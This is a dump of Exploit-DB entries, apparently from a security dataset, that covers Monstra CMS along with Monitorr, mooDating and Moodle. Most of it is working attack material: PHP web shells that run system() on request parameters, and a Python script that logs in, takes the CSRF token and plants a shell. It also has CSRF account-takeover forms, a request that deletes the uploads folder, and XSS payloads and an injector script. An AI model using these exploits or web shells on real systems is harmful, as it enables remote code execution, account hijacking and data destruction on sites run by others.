deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37651
Description: Monstra CMS 1.2.1 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-23
Author: LiquidWorm

Exploit:
<!--source: https://www.securityfocus.com/bid/55171/info

Monstra is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Monstra 1.2.1 is vulnerable; other versions may also be affected. -->

<html> 
<head> 
<title>Monstra 1.2.1 Multiple HTML Injection Vulnerabilities</title> 
</head> 
<body> 
<form id="add_menu" method="POST" action="http://www.example.com/monstra/admin/index.php?id=menu&action=add">
 <input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" />
 <input type="hidden" name="menu_add_item" value="Save" />
 <input type="hidden" name="menu_item_link" value='"><script>alert(1);</script>' />
 <input type="hidden" name="menu_item_name" value='"><script>alert(2);</script>' />
 <input type="hidden" name="menu_item_order" value="0" />
 <input type="hidden" name="menu_item_target" value="" /> 
</form> 

<form id="add_page" method="POST" action="http://www.example.com/monstra/admin/index.php?id=pages&action=add_page">
 <input type="hidden" name="add_page_and_exit" value="Save and exit" />
 <input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" />
 <input type="hidden" name="day" value="21" />
 <input type="hidden" name="editor" value="Tojmi Sesvidja" />
 <input type="hidden" name="minute" value="17" />
 <input type="hidden" name="month" value="08" />
 <input type="hidden" name="page_description" value="Zero Science Lab" />
 <input type="hidden" name="page_keywords" value="ZSL-2012-5101" />
 <input type="hidden" name="page_name" value="XSS" />
 <input type="hidden" name="page_title" value='"><script>alert(3);</script>' />
 <input type="hidden" name="pages" value="0" />
 <input type="hidden" name="second" value="29" />
 <input type="hidden" name="status" value="published" />
 <input type="hidden" name="templates" value="index" />
 <input type="hidden" name="year" value="2012" /> 
</form> 

<script type="text/javascript"> 

function xss1(){
document.forms["add_menu"].submit();
} 

function xss2(){
document.forms["add_page"].submit();
} 

</script> 

<input type="button" value="Execute XSS 1" onClick="xss1()" /> 
<br /><br /> 
<input type="button" value="Execute XSS 2" onClick="xss2()" /> 

</body> 
</html>
Exploit-DB #43348
Description: Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution
Type: webapps
Platform: php
Date: 2017-12-18
Author: Ishaq Mohammed

Exploit:
Exploit Title: Monstra CMS - 3.0.4 RCE
Vendor Homepage: http://monstra.org/
Software Link:
https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip
Discovered by: Ishaq Mohammed
Contact: https://twitter.com/security_prince
Website: https://about.me/security-prince
Category: webapps
Platform: PHP
Advisory Link: https://blogs.securiteam.com/index.php/archives/3559

Description:

MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a
remote command execution on the remote server.

Vulnerable Code:

https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php
line 19:

 public static function main()
    {
        // Array of forbidden types
        $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
                                 'php', 'phtml', 'php3', 'php4', 'php5',
'phps',
                                 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh',
'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
                                 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat',
'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

Proof of Concept
Steps to Reproduce:

1. Login with a valid credentials of an Editor
2. Select Files option from the Drop-down menu of Content
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)

           <?php

 $cmd=$_GET['cmd'];

 system($cmd);

 ?>

4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.


Recommended Patch:
We were not able to get the vendor to respond in any way, the software
appears to have been left abandoned without support – though this is not an
official status on their site (last official patch was released on
2012-11-29), the GitHub appears a bit more active (last commit from 2 years
ago).

The patch that addresses this bug is available here:
 https://github.com/monstra-cms/monstra/issues/426
Exploit-DB #44512
Description: Monstra CMS 3.0.4 - Arbitrary Folder Deletion
Type: webapps
Platform: php
Date: 2018-04-24
Author: Wenming Jiang

Exploit:
# Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request
# Date: 2018-03-26
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/monstra-cms/monstra
# Software Link: https://github.com/monstra-cms/monstra
# Version: 3.0.4
# Tested on: macos 10.12.6, php 5.6, apache2.2.29
# CVE :CVE-2018-9038


Description:
Monstra CMS 3.0.4 allows remote attackers to delete folder via an admin/index.php?id=filesmanager&delete_dir=./&path=uploads/ request.


Steps to Reproduce:
1、Log in as a user with page editing permissions
2、Request http://your_site/admin/index.php?id=filesmanager&delete_dir=./&path=uploads
3、The uploads folder will be deleted.


Poc code:
GET /monstra/admin/index.php?id=filesmanager&delete_dir=./&path=uploads/&token=008708df48237172f6fe2d173dc30529eac132de HTTP/1.1
Host: localhost:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.10 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8000/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: SQLiteManager_currentLangue=2; PHPSESSID=882dd1e203c979cedba4524f8107eca3; _ga=GA1.[PII_REDACTED][PII_REDACTED]; _gid=GA1.1.918[PII_REDACTED]382699
Connection: close



Vulnerability Type:
Insecure Permissions


Expected Behavior:
deleted uploads folder



Possible Solutions:
Strictly filter the delete_dir parameter and replace './' with '_/'
Exploit-DB #48479
Description: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-05-18
Author: Kishan Lal Choudhary

Exploit:
# Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-18
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://monstra.org
# Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu



1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/

2. Upload a one liner shell with php7 extenstion ie: shell.php7

#burp request
------------------------------------EOF-----------------------------------------------------
POST /monstra/admin/index.php?id=filesmanager HTTP/1.1
Host: 192.168.2.5
Content-Length: 548
Cache-Control: max-age=0
Origin: http://192.168.2.5
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405[PII_REDACTED]949328; _gid=GA1.[PII_REDACTED][PII_REDACTED]
Connection: close

------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="csrf"

2e6ae2353998caa319aae262b113c6b3f17a9636
------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="file"; filename="shell.php7"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>


------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="upload_file"

Upload
------WebKitFormBoundarytRfyCkYq8NvztDBf--

------------------------------------EOF-----------------------------------------------------


3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id




We have successfully got Remote Code execution
Exploit-DB #44502
Description: Monstra cms 3.0.4 - Persitent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-23
Author: Wenming Jiang

Exploit:
# Exploit Title: Monstra cms 3.0.4 - Persitent Cross-Site Scripting
# Date: 2018-04-14
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/monstra-cms/monstra
# Software Link: https://github.com/monstra-cms/monstra
# Version: 3.0.4
# Tested on: php 5.6, apache2.2.29, macos 10.12.6
# CVE :CVE-2018-10109


#Description:
#Monstra CMS 3.0.4 has a stored XSS vulnerability when an attacker has access to the editor role, and enters the payload
#in the content section of a new page in the blog catalog.


#Steps to replicate:
#1. log into the system as an editor role
#2. creat a new page in the blog catalog
#3. navigate to content section
#4. enter payload: <script>alert(document.cookie)</script>
#5. visit http://<your_site>/monstra/blog/<page_name>.php, you will triage JavaScript execution



#Exploit Code:
<script>alert(document.cookie)</script>
or
<img src=1 onerror=alert(/xss/) >
Exploit-DB #52038
Description: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2024-06-03
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
# Date: 05.05.2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: MacOS

import requests
import random
import string
import time
import re
import sys

if len(sys.argv) < 4:
print("Usage: python3 script.py <url> <username> <password>")
sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

session = requests.Session()

login_url = f'{base_url}/admin/index.php?id=dashboard'
login_data = {
'login': username,
'password': password,
'login_submit': 'Log+In'
}

filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=
5))

print("Logging in...")
response = session.post(login_url, data=login_data)

if 'Dashboard' in response.text:
print("Login successful")
else:
print("Login failed")
exit()

time.sleep(3)

edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'
response = session.get(edit_url) # CSRF token bulmak için edit sayfasına
erişim

token_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="
(.*?)"', response.text)
if token_search:
token = token_search.group(1)
else:
print("CSRF token could not be found.")
exit()

content = '''
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
'''

edit_data = {
'csrf': token,
'name': filename,
'content': content,
'add_file': 'Save'
}

print("Preparing shell...")
response = session.post(edit_url, data=edit_data)
time.sleep(3)

if response.status_code == 200:
print(f"Your shell is ready: {base_url}/public/themes/default/{filename}
.chunk.php")
else:
print("Failed to prepare shell.")
Exploit-DB #44855
Description: Monstra CMS < 3.0.4 - Cross-Site Scripting (1)
Type: webapps
Platform: php
Date: 2018-06-07
Author: DEEPIN2

Exploit:
# Title: Monstra CMS < 3.0.4 - Cross-Site Scripting
# Date: 2018-06-07
# Author: DEEPIN2
# Software: Monstra CMS
# Version: 3.0.4 and earlier
# This automation code requires Python3
# You must intercept the first request through the proxy tool to verify the CSRF token.

import requests
import re

def runXSS(target, cookie, data):
	exploit = requests.post(target, cookies=cookie, data=data).text
	if re.search('exploit', exploit):
		return 'OK'
	else:
		return 'ERROR'
	
if __name__ == '__main__':
	print('''  ______     _______     ____   ___  _  ___        _  ___  _ _  ___
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / |/ _ \/ / |( _ )
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | | | | | |/ _ `
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |_| | | | (_) |
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|\___/|_|_|\___/
 	[*] Author : DEEPIN2(Junseo Lee)
---------------------------------------------------------------------''')
	print('[*] Ex) http://www.target.com -> www.target.com')
	url = input('Target : ')
	print('[*] Required admin\'s PHPSESSID.')
	PHPSESSID = input('PHPSESSID : ')
	pagename = input('Pagename : ')
	script = input('Script : ')
	target = 'http://' + url + '/admin/index.php?id=pages&action=add_page'
	cookie = {'PHPSESSID':PHPSESSID}
	data = {'csrf':'9c1763649f4e5ce611d29ef5cd10914fa61e91f5',\
			'page_title':script,\
			'page_name':pagename,\
			'page_meta_title':'',\
			'page_keywords':'',\
			'page_description':'',\
			'pages':0,\
			'templates':'index',\
			'status':'published',\
			'access':'public',\
			'editor':'',\
			'page_tags':'',\
			'add_page_and_exit':'Save+and+Exit',\
			'page_date':'9999-99-99'}

	result = runXSS(target, cookie, data)
	print('-' * 69)
	if result == 'OK':
		print('[+] LINK : http://' + url + '/' + pagename)
	else:
		print('[-] Error')
Exploit-DB #44646
Description: Monstra CMS < 3.0.4 - Cross-Site Scripting (2)
Type: webapps
Platform: php
Date: 2018-05-18
Author: Berk Dusunur

Exploit:
# Exploit Title: Monstra CMS 3.0.4 - Cross-Site Scripting
# Date: 2018-05-17
# Exploit Author: Berk Dusunur
# Vendor Homepage: https://monstra.org
# Software Link: https://monstra.org
# Version: before 3.0.4
# Tested on: Pardus / Win10 AppServer

# Proof Of Concept
# Monstra is a modern and lightweight Content Management System.
# Prints get request between script tags on page


Payload ?vrk2f'-alert(1)-'ax8vv=1

GET Request

GET /test/monstra-3.0.4/?vrk2f'-alert(1)-'ax8vv=1 HTTP/1.1
Host: 192.168.1.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Response


<script type="text/javascript">
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new
Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js
','_mga');

_mga('create', '', 'auto');
_mga('send', 'pageview', {
'page': 'http://192.168.1.106/test/monstra-3.0.4/?vrk2f%27-alert(1',
'title': ''
});
</script></body>


http://localhost/test/monstra-3.0.4/?vrk2f'-alert(1)-'ax8vv=1
Exploit-DB #45164
Description: Monstra-Dev 3.0.4 - Cross-Site Request Forgery (Account Hijacking)
Type: webapps
Platform: php
Date: 2018-08-07
Author: Nainsi Gupta

Exploit:
# Exploit Title: Monstra-Dev 3.0.4 - Cross-Site Request Forgery(Account Hijacking)
# Date: 2018-08-04
# Exploit Author: Nainsi Gupta
# Vendor Homepage: http://monstra.org/
# Product Name: Monstra-dev
# Version: 3.0.4
# Tested on: Windows 10 (Firefox/Chrome)
# CVE : N/A

# 1. Description
# CSRF vulnerability in admin/user/edit in Monstra-dev 3.0.4 allows an attacker
# to take over a user account by modifying user's data such as email and password
 
# 2. Exploit and Proof of Concept
# To exploit this vulnerability, victim need to be logged in at target site namely
# victim.com and visit crafted site made by attacker namely attacker.com. 
# Then an authenticated POST request will be generated from victim browser and it will
# be submit to victim.com to modify user's data to attacker desired value.

#POC:CSRF

<html>
  <!-- CSRF PoC -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/monstra-dev/users/2/edit" method="POST">
      <input type="hidden" name="csrf" value="7e172c2a395495f3e4c05912cb9f3f7f0ed8344e" />
      <input type="hidden" name="user&#95;id" value="2" />
      <input type="hidden" name="login" value="guptanainisi95" />
      <input type="hidden" name="firstname" value="sd" />
      <input type="hidden" name="lastname" value="jkh" />
      <input type="hidden" name="email" value="guptanainsi97&#64;gmail&#46;com" />
      <input type="hidden" name="twitter" value="" />
      <input type="hidden" name="skype" value="" />
      <input type="hidden" name="about&#95;me" value="ss" />
      <input type="hidden" name="new&#95;password" value="qaz" />
      <input type="hidden" name="edit&#95;profile" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #49806
Description: Montiorr 1.7.6m - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-04-27
Author: Ahmad Shakla

Exploit:
# Exploit Title: Montiorr 1.7.6m - Persistent Cross-Site Scripting
# Date: 25/4/2021
# Exploit Author: Ahmad Shakla
# Software Link: https://github.com/Monitorr/Monitorr
# Tested on: Kali GNU/Linux 2020.2
# Detailed Bug Description : https://arabcyberclub.blogspot.com/2021/04/monitor-176m-file-upload-to-xss.html

An attacker can preform an XSS attack via image upload

Steps :

1)Create a payload with the following format : 
><img src=x onerror=alert("XSS")>.png

2) Install the database by going to the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/_install.php

3)Register for a new account on the server by going to the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php?action=register

4)Login with your credentials on the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php

5)Go to the following link and upload the payload :
https://monitorr.robyns-petshop.thm/settings.php#services-configuration
Exploit-DB #51628
Description: mooDating 1.2 - Reflected Cross-site scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-28
Author: CraCkEr

Exploit:
# Exploit Title: mooDating 1.2 - Reflected Cross-site scripting (XSS)
# Exploit Author: CraCkEr aka (skalvin)
# Date: 22/07/2023
# Vendor: mooSocial
# Vendor Homepage: https://moodatingscript.com/
# Software Link: https://demo.moodatingscript.com/home
# Version: 1.2
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-3849, CVE-2023-3848, CVE-2023-3847, CVE-2023-3846, CVE-2023-3843, CVE-2023-3845, CVE-2023-3844



## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials



Path: /matchmakings/question

URL parameter is vulnerable to RXSS

https://website/matchmakings/questiontmili%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ew71ch?number=
https://website/matchmakings/question[XSS]?number=


Path: /friends

URL parameter is vulnerable to RXSS

https://website/friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3er5c3m/ajax_invite?mode=model
https://website/friends[XSS]/ajax_invite?mode=model


Path: /friends/ajax_invite

URL parameter is vulnerable to RXSS

https://website/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ef26v4?mode=model
https://website/friends/ajax_invite[XSS]?mode=model

Path: /pages

URL parameter is vulnerable to RXSS

https://website/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l
https://website/pages[XSS]/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l

Path: /users

URL parameter is vulnerable to RXSS

https://website/userszzjpp%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eaycfc/view/108?tab=activity
https://website/user[XSS]/view/108?tab=activity

Path: /users/view

URL parameter is vulnerable to RXSS

https://website/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3el43yn/108?tab=activity
https://website/users/view[XSS]/108?tab=activity


Path: /find-a-match

URL parameter is vulnerable to RXSS

https://website/find-a-matchpksyk%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3es9a64?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0
https://website/find-a-match[XSS]?session_popularity=&interest=0&show_search_form=1&gender=2&from_age=18&to_age=45&country_id=1&state_id=5&city_id=&advanced=0


[XSS Payload]: pksyk"><img src=a onerror=alert(1)>s9a6


[-] Done
Exploit-DB #24071
Description: Moodle 1.1/1.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-30
Author: Bartek Nowotarski

Exploit:
source: https://www.securityfocus.com/bid/10251/info

It has been reported that Moodle is susceptible to a cross-site scripting vulnerability in the 'help.php' script. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamic web content.

This issue may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/help.php?text={XSS}